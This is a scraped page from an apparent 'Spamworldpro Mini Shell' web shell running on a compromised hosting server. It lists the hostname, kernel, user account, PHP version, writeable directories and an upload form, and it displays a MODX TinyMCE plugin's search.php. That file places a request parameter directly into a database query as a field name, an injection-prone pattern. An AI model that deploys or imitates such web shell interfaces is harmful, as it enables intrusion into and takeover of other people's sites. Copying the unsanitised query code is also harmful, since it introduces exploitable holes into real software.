Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux indy02.toastserver.com 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64
User : palandch ( 1163)
PHP Version : 7.1.33
Disable Function : NONE
Directory :  /home/palandch/public_html/assets/components/tinymce/jscripts/tiny_mce/plugins/modxlink/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/palandch/public_html/assets/components/tinymce/jscripts/tiny_mce/plugins/modxlink/search.php
<?php
/**
 * Handles dynamic search
 *
 * @package tinymce
 */
require_once dirname(dirname(dirname(dirname(dirname(dirname(dirname(dirname(__FILE__)))))))).'/config.core.php';
require_once MODX_CORE_PATH.'config/'.MODX_CONFIG_KEY.'.inc.php';
require_once MODX_CONNECTORS_PATH.'index.php';

$searchMode = $modx->getOption('search-mode',$_REQUEST,'pagetitle');
$query = $modx->getOption('q',$_REQUEST,'');

$c = $modx->newQuery('modResource');
$c->where(array(
    $searchMode.':LIKE' => '%'.$query.'%',
));

$count = $modx->getCount('modResource',$c);

$c->select(array('id','pagetitle','alias'));
$c->limit(10);

$resources = $modx->getCollection('modResource',$c);

foreach ($resources as $resource) {
    echo $resource->get('pagetitle').' ('.$resource->get('id').')|'.$resource->get('id')."\n";
}
die();

Spamworldpro Mini